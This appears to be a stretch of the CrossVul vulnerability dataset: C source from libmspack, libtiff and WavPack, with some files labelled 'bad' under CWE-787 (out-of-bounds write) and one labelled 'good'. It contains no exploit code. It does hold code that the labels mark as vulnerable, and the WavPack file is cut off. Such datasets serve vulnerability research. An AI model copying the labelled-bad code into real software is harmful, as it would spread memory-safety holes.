MSPACK_ERR_WRITE; \ } while (0) static struct kwajd_stream *lzh_init(struct mspack_system *sys, struct mspack_file *in, struct mspack_file *out) { struct kwajd_stream *lzh; if (!sys || !in || !out) return NULL; if (!(lzh = (struct kwajd_stream *) sys->alloc(sys, sizeof(struct kwajd_stream)))) return NULL; lzh->sys = sys; lzh->input = in; lzh->output = out; return lzh; } static int lzh_decompress(struct kwajd_stream *lzh) { register unsigned int bit_buffer; register int bits_left, i; register unsigned short sym; unsigned char *i_ptr, *i_end, lit_run = 0; int j, pos = 0, len, offset, err; unsigned int types[6]; /* reset global state */ INIT_BITS; RESTORE_BITS; memset(&lzh->window[0], LZSS_WINDOW_FILL, (size_t) LZSS_WINDOW_SIZE); /* read 6 encoding types (for byte alignment) but only 5 are needed */ for (i = 0; i < 6; i++) READ_BITS_SAFE(types[i], 4); /* read huffman table symbol lengths and build huffman trees */ BUILD_TREE(MATCHLEN1, types[0]); BUILD_TREE(MATCHLEN2, types[1]); BUILD_TREE(LITLEN, types[2]); BUILD_TREE(OFFSET, types[3]); BUILD_TREE(LITERAL, types[4]); while (!lzh->input_end) { if (lit_run) READ_HUFFSYM_SAFE(MATCHLEN2, len); else READ_HUFFSYM_SAFE(MATCHLEN1, len); if (len > 0) { len += 2; lit_run = 0; /* not the end of a literal run */ READ_HUFFSYM_SAFE(OFFSET, j); offset = j << 6; READ_BITS_SAFE(j, 6); offset |= j; /* copy match as output and into the ring buffer */ while (len-- > 0) { lzh->window[pos] = lzh->window[(pos+4096-offset) & 4095]; WRITE_BYTE; pos++; pos &= 4095; } } else { READ_HUFFSYM_SAFE(LITLEN, len); len++; lit_run = (len == 32) ? 0 : 1; /* end of a literal run? */ while (len-- > 0) { READ_HUFFSYM_SAFE(LITERAL, j); /* copy as output and into the ring buffer */ lzh->window[pos] = j; WRITE_BYTE; pos++; pos &= 4095; } } } return MSPACK_ERR_OK; } static void lzh_free(struct kwajd_stream *lzh) { struct mspack_system *sys; if (!lzh || !lzh->sys) return; sys = lzh->sys; sys->free(lzh); } static int lzh_read_lens(struct kwajd_stream *lzh, unsigned int type, unsigned int numsyms, unsigned char *lens) { register unsigned int bit_buffer; register int bits_left; unsigned char *i_ptr, *i_end; unsigned int i, c, sel; int err; RESTORE_BITS; switch (type) { case 0: i = numsyms; c = (i==16)?4: (i==32)?5: (i==64)?6: (i==256)?8 :0; for (i = 0; i < numsyms; i++) lens[i] = c; break; case 1: READ_BITS_SAFE(c, 4); lens[0] = c; for (i = 1; i < numsyms; i++) { READ_BITS_SAFE(sel, 1); if (sel == 0) lens[i] = c; else { READ_BITS_SAFE(sel, 1); if (sel == 0) lens[i] = ++c; else { READ_BITS_SAFE(c, 4); lens[i] = c; }} } break; case 2: READ_BITS_SAFE(c, 4); lens[0] = c; for (i = 1; i < numsyms; i++) { READ_BITS_SAFE(sel, 2); if (sel == 3) READ_BITS_SAFE(c, 4); else c += (char) sel-1; lens[i] = c; } break; case 3: for (i = 0; i < numsyms; i++) { READ_BITS_SAFE(c, 4); lens[i] = c; } break; } STORE_BITS; return MSPACK_ERR_OK; } static int lzh_read_input(struct kwajd_stream *lzh) { int read; if (lzh->input_end) { lzh->input_end += 8; lzh->inbuf[0] = 0; read = 1; } else { read = lzh->sys->read(lzh->input, &lzh->inbuf[0], KWAJ_INPUT_SIZE); if (read < 0) return MSPACK_ERR_READ; if (read == 0) { lzh->input_end = 8; lzh->inbuf[0] = 0; read = 1; } } /* update i_ptr and i_end */ lzh->i_ptr = &lzh->inbuf[0]; lzh->i_end = &lzh->inbuf[read]; return MSPACK_ERR_OK; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_277_2
crossvul-cpp_data_good_5479_2
/* $Id$ */ /* * Copyright (c) 1988-1997 Sam Leffler * Copyright (c) 1991-1997 Silicon Graphics, Inc. * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ /* * TIFF Library. * * Scanline-oriented Write Support */ #include "tiffiop.h" #include <stdio.h> #define STRIPINCR 20 /* expansion factor on strip array */ #define WRITECHECKSTRIPS(tif, module) \ (((tif)->tif_flags&TIFF_BEENWRITING) || TIFFWriteCheck((tif),0,module)) #define WRITECHECKTILES(tif, module) \ (((tif)->tif_flags&TIFF_BEENWRITING) || TIFFWriteCheck((tif),1,module)) #define BUFFERCHECK(tif) \ ((((tif)->tif_flags & TIFF_BUFFERSETUP) && tif->tif_rawdata) || \ TIFFWriteBufferSetup((tif), NULL, (tmsize_t) -1)) static int TIFFGrowStrips(TIFF* tif, uint32 delta, const char* module); static int TIFFAppendToStrip(TIFF* tif, uint32 strip, uint8* data, tmsize_t cc); int TIFFWriteScanline(TIFF* tif, void* buf, uint32 row, uint16 sample) { static const char module[] = "TIFFWriteScanline"; register TIFFDirectory *td; int status, imagegrew = 0; uint32 strip; if (!WRITECHECKSTRIPS(tif, module)) return (-1); /* * Handle delayed allocation of data buffer. This * permits it to be sized more intelligently (using * directory information). */ if (!BUFFERCHECK(tif)) return (-1); tif->tif_flags |= TIFF_BUF4WRITE; /* not strictly sure this is right*/ td = &tif->tif_dir; /* * Extend image length if needed * (but only for PlanarConfig=1). */ if (row >= td->td_imagelength) { /* extend image */ if (td->td_planarconfig == PLANARCONFIG_SEPARATE) { TIFFErrorExt(tif->tif_clientdata, module, "Can not change \"ImageLength\" when using separate planes"); return (-1); } td->td_imagelength = row+1; imagegrew = 1; } /* * Calculate strip and check for crossings. */ if (td->td_planarconfig == PLANARCONFIG_SEPARATE) { if (sample >= td->td_samplesperpixel) { TIFFErrorExt(tif->tif_clientdata, module, "%lu: Sample out of range, max %lu", (unsigned long) sample, (unsigned long) td->td_samplesperpixel); return (-1); } strip = sample*td->td_stripsperimage + row/td->td_rowsperstrip; } else strip = row / td->td_rowsperstrip; /* * Check strip array to make sure there's space. We don't support * dynamically growing files that have data organized in separate * bitplanes because it's too painful. In that case we require that * the imagelength be set properly before the first write (so that the * strips array will be fully allocated above). */ if (strip >= td->td_nstrips && !TIFFGrowStrips(tif, 1, module)) return (-1); if (strip != tif->tif_curstrip) { /* * Changing strips -- flush any data present. */ if (!TIFFFlushData(tif)) return (-1); tif->tif_curstrip = strip; /* * Watch out for a growing image. The value of strips/image * will initially be 1 (since it can't be deduced until the * imagelength is known). */ if (strip >= td->td_stripsperimage && imagegrew) td->td_stripsperimage = TIFFhowmany_32(td->td_imagelength,td->td_rowsperstrip); if (td->td_stripsperimage == 0) { TIFFErrorExt(tif->tif_clientdata, module, "Zero strips per image"); return (-1); } tif->tif_row = (strip % td->td_stripsperimage) * td->td_rowsperstrip; if ((tif->tif_flags & TIFF_CODERSETUP) == 0) { if (!(*tif->tif_setupencode)(tif)) return (-1); tif->tif_flags |= TIFF_CODERSETUP; } tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; if( td->td_stripbytecount[strip] > 0 ) { /* if we are writing over existing tiles, zero length */ td->td_stripbytecount[strip] = 0; /* this forces TIFFAppendToStrip() to do a seek */ tif->tif_curoff = 0; } if (!(*tif->tif_preencode)(tif, sample)) return (-1); tif->tif_flags |= TIFF_POSTENCODE; } /* * Ensure the write is either sequential or at the * beginning of a strip (or that we can randomly * access the data -- i.e. no encoding). */ if (row != tif->tif_row) { if (row < tif->tif_row) { /* * Moving backwards within the same strip: * backup to the start and then decode * forward (below). */ tif->tif_row = (strip % td->td_stripsperimage) * td->td_rowsperstrip; tif->tif_rawcp = tif->tif_rawdata; } /* * Seek forward to the desired row. */ if (!(*tif->tif_seek)(tif, row - tif->tif_row)) return (-1); tif->tif_row = row; } /* swab if needed - note that source buffer will be altered */ tif->tif_postdecode( tif, (uint8*) buf, tif->tif_scanlinesize ); status = (*tif->tif_encoderow)(tif, (uint8*) buf, tif->tif_scanlinesize, sample); /* we are now poised at the beginning of the next row */ tif->tif_row = row + 1; return (status); } /* * Encode the supplied data and write it to the * specified strip. * * NB: Image length must be setup before writing. */ tmsize_t TIFFWriteEncodedStrip(TIFF* tif, uint32 strip, void* data, tmsize_t cc) { static const char module[] = "TIFFWriteEncodedStrip"; TIFFDirectory *td = &tif->tif_dir; uint16 sample; if (!WRITECHECKSTRIPS(tif, module)) return ((tmsize_t) -1); /* * Check strip array to make sure there's space. * We don't support dynamically growing files that * have data organized in separate bitplanes because * it's too painful. In that case we require that * the imagelength be set properly before the first * write (so that the strips array will be fully * allocated above). */ if (strip >= td->td_nstrips) { if (td->td_planarconfig == PLANARCONFIG_SEPARATE) { TIFFErrorExt(tif->tif_clientdata, module, "Can not grow image by strips when using separate planes"); return ((tmsize_t) -1); } if (!TIFFGrowStrips(tif, 1, module)) return ((tmsize_t) -1); td->td_stripsperimage = TIFFhowmany_32(td->td_imagelength, td->td_rowsperstrip); } /* * Handle delayed allocation of data buffer. This * permits it to be sized according to the directory * info. */ if (!BUFFERCHECK(tif)) return ((tmsize_t) -1); tif->tif_flags |= TIFF_BUF4WRITE; tif->tif_curstrip = strip; if (td->td_stripsperimage == 0) { TIFFErrorExt(tif->tif_clientdata, module, "Zero strips per image"); return ((tmsize_t) -1); } tif->tif_row = (strip % td->td_stripsperimage) * td->td_rowsperstrip; if ((tif->tif_flags & TIFF_CODERSETUP) == 0) { if (!(*tif->tif_setupencode)(tif)) return ((tmsize_t) -1); tif->tif_flags |= TIFF_CODERSETUP; } if( td->td_stripbytecount[strip] > 0 ) { /* Make sure that at the first attempt of rewriting the tile, we will have */ /* more bytes available in the output buffer than the previous byte count, */ /* so that TIFFAppendToStrip() will detect the overflow when it is called the first */ /* time if the new compressed tile is bigger than the older one. (GDAL #4771) */ if( tif->tif_rawdatasize <= (tmsize_t)td->td_stripbytecount[strip] ) { if( !(TIFFWriteBufferSetup(tif, NULL, (tmsize_t)TIFFroundup_64((uint64)(td->td_stripbytecount[strip] + 1), 1024))) ) return ((tmsize_t)(-1)); } /* Force TIFFAppendToStrip() to consider placing data at end of file. */ tif->tif_curoff = 0; } tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; tif->tif_flags &= ~TIFF_POSTENCODE; /* shortcut to avoid an extra memcpy() */ if( td->td_compression == COMPRESSION_NONE ) { /* swab if needed - note that source buffer will be altered */ tif->tif_postdecode( tif, (uint8*) data, cc ); if (!isFillOrder(tif, td->td_fillorder) && (tif->tif_flags & TIFF_NOBITREV) == 0) TIFFReverseBits((uint8*) data, cc); if (cc > 0 && !TIFFAppendToStrip(tif, strip, (uint8*) data, cc)) return ((tmsize_t) -1); return (cc); } sample = (uint16)(strip / td->td_stripsperimage); if (!(*tif->tif_preencode)(tif, sample)) return ((tmsize_t) -1); /* swab if needed - note that source buffer will be altered */ tif->tif_postdecode( tif, (uint8*) data, cc ); if (!(*tif->tif_encodestrip)(tif, (uint8*) data, cc, sample)) return ((tmsize_t) -1); if (!(*tif->tif_postencode)(tif)) return ((tmsize_t) -1); if (!isFillOrder(tif, td->td_fillorder) && (tif->tif_flags & TIFF_NOBITREV) == 0) TIFFReverseBits(tif->tif_rawdata, tif->tif_rawcc); if (tif->tif_rawcc > 0 && !TIFFAppendToStrip(tif, strip, tif->tif_rawdata, tif->tif_rawcc)) return ((tmsize_t) -1); tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; return (cc); } /* * Write the supplied data to the specified strip. * * NB: Image length must be setup before writing. */ tmsize_t TIFFWriteRawStrip(TIFF* tif, uint32 strip, void* data, tmsize_t cc) { static const char module[] = "TIFFWriteRawStrip"; TIFFDirectory *td = &tif->tif_dir; if (!WRITECHECKSTRIPS(tif, module)) return ((tmsize_t) -1); /* * Check strip array to make sure there's space. * We don't support dynamically growing files that * have data organized in separate bitplanes because * it's too painful. In that case we require that * the imagelength be set properly before the first * write (so that the strips array will be fully * allocated above). */ if (strip >= td->td_nstrips) { if (td->td_planarconfig == PLANARCONFIG_SEPARATE) { TIFFErrorExt(tif->tif_clientdata, module, "Can not grow image by strips when using separate planes"); return ((tmsize_t) -1); } /* * Watch out for a growing image. The value of * strips/image will initially be 1 (since it * can't be deduced until the imagelength is known). */ if (strip >= td->td_stripsperimage) td->td_stripsperimage = TIFFhowmany_32(td->td_imagelength,td->td_rowsperstrip); if (!TIFFGrowStrips(tif, 1, module)) return ((tmsize_t) -1); } tif->tif_curstrip = strip; if (td->td_stripsperimage == 0) { TIFFErrorExt(tif->tif_clientdata, module,"Zero strips per image"); return ((tmsize_t) -1); } tif->tif_row = (strip % td->td_stripsperimage) * td->td_rowsperstrip; return (TIFFAppendToStrip(tif, strip, (uint8*) data, cc) ? cc : (tmsize_t) -1); } /* * Write and compress a tile of data. The * tile is selected by the (x,y,z,s) coordinates. */ tmsize_t TIFFWriteTile(TIFF* tif, void* buf, uint32 x, uint32 y, uint32 z, uint16 s) { if (!TIFFCheckTile(tif, x, y, z, s)) return ((tmsize_t)(-1)); /* * NB: A tile size of -1 is used instead of tif_tilesize knowing * that TIFFWriteEncodedTile will clamp this to the tile size. * This is done because the tile size may not be defined until * after the output buffer is setup in TIFFWriteBufferSetup. */ return (TIFFWriteEncodedTile(tif, TIFFComputeTile(tif, x, y, z, s), buf, (tmsize_t)(-1))); } /* * Encode the supplied data and write it to the * specified tile. There must be space for the * data. The function clamps individual writes * to a tile to the tile size, but does not (and * can not) check that multiple writes to the same * tile do not write more than tile size data. * * NB: Image length must be setup before writing; this * interface does not support automatically growing * the image on each write (as TIFFWriteScanline does). */ tmsize_t TIFFWriteEncodedTile(TIFF* tif, uint32 tile, void* data, tmsize_t cc) { static const char module[] = "TIFFWriteEncodedTile"; TIFFDirectory *td; uint16 sample; uint32 howmany32; if (!WRITECHECKTILES(tif, module)) return ((tmsize_t)(-1)); td = &tif->tif_dir; if (tile >= td->td_nstrips) { TIFFErrorExt(tif->tif_clientdata, module, "Tile %lu out of range, max %lu", (unsigned long) tile, (unsigned long) td->td_nstrips); return ((tmsize_t)(-1)); } /* * Handle delayed allocation of data buffer. This * permits it to be sized more intelligently (using * directory information). */ if (!BUFFERCHECK(tif)) return ((tmsize_t)(-1)); tif->tif_flags |= TIFF_BUF4WRITE; tif->tif_curtile = tile; if( td->td_stripbytecount[tile] > 0 ) { /* Make sure that at the first attempt of rewriting the tile, we will have */ /* more bytes available in the output buffer than the previous byte count, */ /* so that TIFFAppendToStrip() will detect the overflow when it is called the first */ /* time if the new compressed tile is bigger than the older one. (GDAL #4771) */ if( tif->tif_rawdatasize <= (tmsize_t) td->td_stripbytecount[tile] ) { if( !(TIFFWriteBufferSetup(tif, NULL, (tmsize_t)TIFFroundup_64((uint64)(td->td_stripbytecount[tile] + 1), 1024))) ) return ((tmsize_t)(-1)); } /* Force TIFFAppendToStrip() to consider placing data at end of file. */ tif->tif_curoff = 0; } tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; /* * Compute tiles per row & per column to compute * current row and column */ howmany32=TIFFhowmany_32(td->td_imagelength, td->td_tilelength); if (howmany32 == 0) { TIFFErrorExt(tif->tif_clientdata,module,"Zero tiles"); return ((tmsize_t)(-1)); } tif->tif_row = (tile % howmany32) * td->td_tilelength; howmany32=TIFFhowmany_32(td->td_imagewidth, td->td_tilewidth); if (howmany32 == 0) { TIFFErrorExt(tif->tif_clientdata,module,"Zero tiles"); return ((tmsize_t)(-1)); } tif->tif_col = (tile % howmany32) * td->td_tilewidth; if ((tif->tif_flags & TIFF_CODERSETUP) == 0) { if (!(*tif->tif_setupencode)(tif)) return ((tmsize_t)(-1)); tif->tif_flags |= TIFF_CODERSETUP; } tif->tif_flags &= ~TIFF_POSTENCODE; /* * Clamp write amount to the tile size. This is mostly * done so that callers can pass in some large number * (e.g. -1) and have the tile size used instead. */ if ( cc < 1 || cc > tif->tif_tilesize) cc = tif->tif_tilesize; /* shortcut to avoid an extra memcpy() */ if( td->td_compression == COMPRESSION_NONE ) { /* swab if needed - note that source buffer will be altered */ tif->tif_postdecode( tif, (uint8*) data, cc ); if (!isFillOrder(tif, td->td_fillorder) && (tif->tif_flags & TIFF_NOBITREV) == 0) TIFFReverseBits((uint8*) data, cc); if (cc > 0 && !TIFFAppendToStrip(tif, tile, (uint8*) data, cc)) return ((tmsize_t) -1); return (cc); } sample = (uint16)(tile/td->td_stripsperimage); if (!(*tif->tif_preencode)(tif, sample)) return ((tmsize_t)(-1)); /* swab if needed - note that source buffer will be altered */ tif->tif_postdecode( tif, (uint8*) data, cc ); if (!(*tif->tif_encodetile)(tif, (uint8*) data, cc, sample)) return ((tmsize_t) -1); if (!(*tif->tif_postencode)(tif)) return ((tmsize_t)(-1)); if (!isFillOrder(tif, td->td_fillorder) && (tif->tif_flags & TIFF_NOBITREV) == 0) TIFFReverseBits((uint8*)tif->tif_rawdata, tif->tif_rawcc); if (tif->tif_rawcc > 0 && !TIFFAppendToStrip(tif, tile, tif->tif_rawdata, tif->tif_rawcc)) return ((tmsize_t)(-1)); tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; return (cc); } /* * Write the supplied data to the specified strip. * There must be space for the data; we don't check * if strips overlap! * * NB: Image length must be setup before writing; this * interface does not support automatically growing * the image on each write (as TIFFWriteScanline does). */ tmsize_t TIFFWriteRawTile(TIFF* tif, uint32 tile, void* data, tmsize_t cc) { static const char module[] = "TIFFWriteRawTile"; if (!WRITECHECKTILES(tif, module)) return ((tmsize_t)(-1)); if (tile >= tif->tif_dir.td_nstrips) { TIFFErrorExt(tif->tif_clientdata, module, "Tile %lu out of range, max %lu", (unsigned long) tile, (unsigned long) tif->tif_dir.td_nstrips); return ((tmsize_t)(-1)); } return (TIFFAppendToStrip(tif, tile, (uint8*) data, cc) ? cc : (tmsize_t)(-1)); } #define isUnspecified(tif, f) \ (TIFFFieldSet(tif,f) && (tif)->tif_dir.td_imagelength == 0) int TIFFSetupStrips(TIFF* tif) { TIFFDirectory* td = &tif->tif_dir; if (isTiled(tif)) td->td_stripsperimage = isUnspecified(tif, FIELD_TILEDIMENSIONS) ? td->td_samplesperpixel : TIFFNumberOfTiles(tif); else td->td_stripsperimage = isUnspecified(tif, FIELD_ROWSPERSTRIP) ? td->td_samplesperpixel : TIFFNumberOfStrips(tif); td->td_nstrips = td->td_stripsperimage; if (td->td_planarconfig == PLANARCONFIG_SEPARATE) td->td_stripsperimage /= td->td_samplesperpixel; td->td_stripoffset = (uint64 *) _TIFFmalloc(td->td_nstrips * sizeof (uint64)); td->td_stripbytecount = (uint64 *) _TIFFmalloc(td->td_nstrips * sizeof (uint64)); if (td->td_stripoffset == NULL || td->td_stripbytecount == NULL) return (0); /* * Place data at the end-of-file * (by setting offsets to zero). */ _TIFFmemset(td->td_stripoffset, 0, td->td_nstrips*sizeof (uint64)); _TIFFmemset(td->td_stripbytecount, 0, td->td_nstrips*sizeof (uint64)); TIFFSetFieldBit(tif, FIELD_STRIPOFFSETS); TIFFSetFieldBit(tif, FIELD_STRIPBYTECOUNTS); return (1); } #undef isUnspecified /* * Verify file is writable and that the directory * information is setup properly. In doing the latter * we also "freeze" the state of the directory so * that important information is not changed. */ int TIFFWriteCheck(TIFF* tif, int tiles, const char* module) { if (tif->tif_mode == O_RDONLY) { TIFFErrorExt(tif->tif_clientdata, module, "File not open for writing"); return (0); } if (tiles ^ isTiled(tif)) { TIFFErrorExt(tif->tif_clientdata, module, tiles ? "Can not write tiles to a stripped image" : "Can not write scanlines to a tiled image"); return (0); } _TIFFFillStriles( tif ); /* * On the first write verify all the required information * has been setup and initialize any data structures that * had to wait until directory information was set. * Note that a lot of our work is assumed to remain valid * because we disallow any of the important parameters * from changing after we start writing (i.e. once * TIFF_BEENWRITING is set, TIFFSetField will only allow * the image's length to be changed). */ if (!TIFFFieldSet(tif, FIELD_IMAGEDIMENSIONS)) { TIFFErrorExt(tif->tif_clientdata, module, "Must set \"ImageWidth\" before writing data"); return (0); } if (tif->tif_dir.td_samplesperpixel == 1) { /* * Planarconfiguration is irrelevant in case of single band * images and need not be included. We will set it anyway, * because this field is used in other parts of library even * in the single band case. */ if (!TIFFFieldSet(tif, FIELD_PLANARCONFIG)) tif->tif_dir.td_planarconfig = PLANARCONFIG_CONTIG; } else { if (!TIFFFieldSet(tif, FIELD_PLANARCONFIG)) { TIFFErrorExt(tif->tif_clientdata, module, "Must set \"PlanarConfiguration\" before writing data"); return (0); } } if (tif->tif_dir.td_stripoffset == NULL && !TIFFSetupStrips(tif)) { tif->tif_dir.td_nstrips = 0; TIFFErrorExt(tif->tif_clientdata, module, "No space for %s arrays", isTiled(tif) ? "tile" : "strip"); return (0); } if (isTiled(tif)) { tif->tif_tilesize = TIFFTileSize(tif); if (tif->tif_tilesize == 0) return (0); } else tif->tif_tilesize = (tmsize_t)(-1); tif->tif_scanlinesize = TIFFScanlineSize(tif); if (tif->tif_scanlinesize == 0) return (0); tif->tif_flags |= TIFF_BEENWRITING; return (1); } /* * Setup the raw data buffer used for encoding. */ int TIFFWriteBufferSetup(TIFF* tif, void* bp, tmsize_t size) { static const char module[] = "TIFFWriteBufferSetup"; if (tif->tif_rawdata) { if (tif->tif_flags & TIFF_MYBUFFER) { _TIFFfree(tif->tif_rawdata); tif->tif_flags &= ~TIFF_MYBUFFER; } tif->tif_rawdata = NULL; } if (size == (tmsize_t)(-1)) { size = (isTiled(tif) ? tif->tif_tilesize : TIFFStripSize(tif)); /* * Make raw data buffer at least 8K */ if (size < 8*1024) size = 8*1024; bp = NULL; /* NB: force malloc */ } if (bp == NULL) { bp = _TIFFmalloc(size); if (bp == NULL) { TIFFErrorExt(tif->tif_clientdata, module, "No space for output buffer"); return (0); } tif->tif_flags |= TIFF_MYBUFFER; } else tif->tif_flags &= ~TIFF_MYBUFFER; tif->tif_rawdata = (uint8*) bp; tif->tif_rawdatasize = size; tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; tif->tif_flags |= TIFF_BUFFERSETUP; return (1); } /* * Grow the strip data structures by delta strips. */ static int TIFFGrowStrips(TIFF* tif, uint32 delta, const char* module) { TIFFDirectory *td = &tif->tif_dir; uint64* new_stripoffset; uint64* new_stripbytecount; assert(td->td_planarconfig == PLANARCONFIG_CONTIG); new_stripoffset = (uint64*)_TIFFrealloc(td->td_stripoffset, (td->td_nstrips + delta) * sizeof (uint64)); new_stripbytecount = (uint64*)_TIFFrealloc(td->td_stripbytecount, (td->td_nstrips + delta) * sizeof (uint64)); if (new_stripoffset == NULL || new_stripbytecount == NULL) { if (new_stripoffset) _TIFFfree(new_stripoffset); if (new_stripbytecount) _TIFFfree(new_stripbytecount); td->td_nstrips = 0; TIFFErrorExt(tif->tif_clientdata, module, "No space to expand strip arrays"); return (0); } td->td_stripoffset = new_stripoffset; td->td_stripbytecount = new_stripbytecount; _TIFFmemset(td->td_stripoffset + td->td_nstrips, 0, delta*sizeof (uint64)); _TIFFmemset(td->td_stripbytecount + td->td_nstrips, 0, delta*sizeof (uint64)); td->td_nstrips += delta; tif->tif_flags |= TIFF_DIRTYDIRECT; return (1); } /* * Append the data to the specified strip. */ static int TIFFAppendToStrip(TIFF* tif, uint32 strip, uint8* data, tmsize_t cc) { static const char module[] = "TIFFAppendToStrip"; TIFFDirectory *td = &tif->tif_dir; uint64 m; int64 old_byte_count = -1; if (td->td_stripoffset[strip] == 0 || tif->tif_curoff == 0) { assert(td->td_nstrips > 0); if( td->td_stripbytecount[strip] != 0 && td->td_stripoffset[strip] != 0 && td->td_stripbytecount[strip] >= (uint64) cc ) { /* * There is already tile data on disk, and the new tile * data we have will fit in the same space. The only * aspect of this that is risky is that there could be * more data to append to this strip before we are done * depending on how we are getting called. */ if (!SeekOK(tif, td->td_stripoffset[strip])) { TIFFErrorExt(tif->tif_clientdata, module, "Seek error at scanline %lu", (unsigned long)tif->tif_row); return (0); } } else { /* * Seek to end of file, and set that as our location to * write this strip. */ td->td_stripoffset[strip] = TIFFSeekFile(tif, 0, SEEK_END); tif->tif_flags |= TIFF_DIRTYSTRIP; } tif->tif_curoff = td->td_stripoffset[strip]; /* * We are starting a fresh strip/tile, so set the size to zero. */ old_byte_count = td->td_stripbytecount[strip]; td->td_stripbytecount[strip] = 0; } m = tif->tif_curoff+cc; if (!(tif->tif_flags&TIFF_BIGTIFF)) m = (uint32)m; if ((m<tif->tif_curoff)||(m<(uint64)cc)) { TIFFErrorExt(tif->tif_clientdata, module, "Maximum TIFF file size exceeded"); return (0); } if (!WriteOK(tif, data, cc)) { TIFFErrorExt(tif->tif_clientdata, module, "Write error at scanline %lu", (unsigned long) tif->tif_row); return (0); } tif->tif_curoff = m; td->td_stripbytecount[strip] += cc; if( (int64) td->td_stripbytecount[strip] != old_byte_count ) tif->tif_flags |= TIFF_DIRTYSTRIP; return (1); } /* * Internal version of TIFFFlushData that can be * called by ``encodestrip routines'' w/o concern * for infinite recursion. */ int TIFFFlushData1(TIFF* tif) { if (tif->tif_rawcc > 0 && tif->tif_flags & TIFF_BUF4WRITE ) { if (!isFillOrder(tif, tif->tif_dir.td_fillorder) && (tif->tif_flags & TIFF_NOBITREV) == 0) TIFFReverseBits((uint8*)tif->tif_rawdata, tif->tif_rawcc); if (!TIFFAppendToStrip(tif, isTiled(tif) ? tif->tif_curtile : tif->tif_curstrip, tif->tif_rawdata, tif->tif_rawcc)) { /* We update those variables even in case of error since there's */ /* code that doesn't really check the return code of this */ /* function */ tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; return (0); } tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; } return (1); } /* * Set the current write offset. This should only be * used to set the offset to a known previous location * (very carefully), or to 0 so that the next write gets * appended to the end of the file. */ void TIFFSetWriteOffset(TIFF* tif, toff_t off) { tif->tif_curoff = off; } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/good_5479_2
crossvul-cpp_data_bad_95_0
//////////////////////////////////////////////////////////////////////////// // **** WAVPACK **** // // Hybrid Lossless Wavefile Compressor // // Copyright (c) 1998 - 2016 David Bryant. // // All Rights Reserved. // // Distributed under the BSD Software License (see license.txt) // //////////////////////////////////////////////////////////////////////////// // riff.c // This module is a helper to the WavPack command-line programs to support WAV files // (both MS standard and rf64 varients). #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <math.h> #include <stdio.h> #include <ctype.h> #include "wavpack.h" #include "utils.h" #include "md5.h" #pragma pack(push,4) typedef struct { char ckID [4]; uint64_t chunkSize64; } CS64Chunk; typedef struct { uint64_t riffSize64, dataSize64, sampleCount64; uint32_t tableLength; } DS64Chunk; typedef struct { char ckID [4]; uint32_t ckSize; char junk [28]; } JunkChunk; #pragma pack(pop) #define CS64ChunkFormat "4D" #define DS64ChunkFormat "DDDL" #define WAVPACK_NO_ERROR 0 #define WAVPACK_SOFT_ERROR 1 #define WAVPACK_HARD_ERROR 2 extern int debug_logging_mode; int ParseRiffHeaderConfig (FILE *infile, char *infilename, char *fourcc, WavpackContext *wpc, WavpackConfig *config) { int is_rf64 = !strncmp (fourcc, "RF64", 4), got_ds64 = 0; int64_t total_samples = 0, infilesize; RiffChunkHeader riff_chunk_header; ChunkHeader chunk_header; WaveHeader WaveHeader; DS64Chunk ds64_chunk; uint32_t bcount; CLEAR (WaveHeader); CLEAR (ds64_chunk); infilesize = DoGetFileSize (infile); if (!is_rf64 && infilesize >= 4294967296LL && !(config->qmode & QMODE_IGNORE_LENGTH)) { error_line ("can't handle .WAV files larger than 4 GB (non-standard)!"); return WAVPACK_SOFT_ERROR; } memcpy (&riff_chunk_header, fourcc, 4); if ((!DoReadFile (infile, ((char *) &riff_chunk_header) + 4, sizeof (RiffChunkHeader) - 4, &bcount) || bcount != sizeof (RiffChunkHeader) - 4 || strncmp (riff_chunk_header.formType, "WAVE", 4))) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &riff_chunk_header, sizeof (RiffChunkHeader))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } // loop through all elements of the RIFF wav header // (until the data chuck) and copy them to the output file while (1) { if (!DoReadFile (infile, &chunk_header, sizeof (ChunkHeader), &bcount) || bcount != sizeof (ChunkHeader)) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &chunk_header, sizeof (ChunkHeader))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackLittleEndianToNative (&chunk_header, ChunkHeaderFormat); if (!strncmp (chunk_header.ckID, "ds64", 4)) { if (chunk_header.ckSize < sizeof 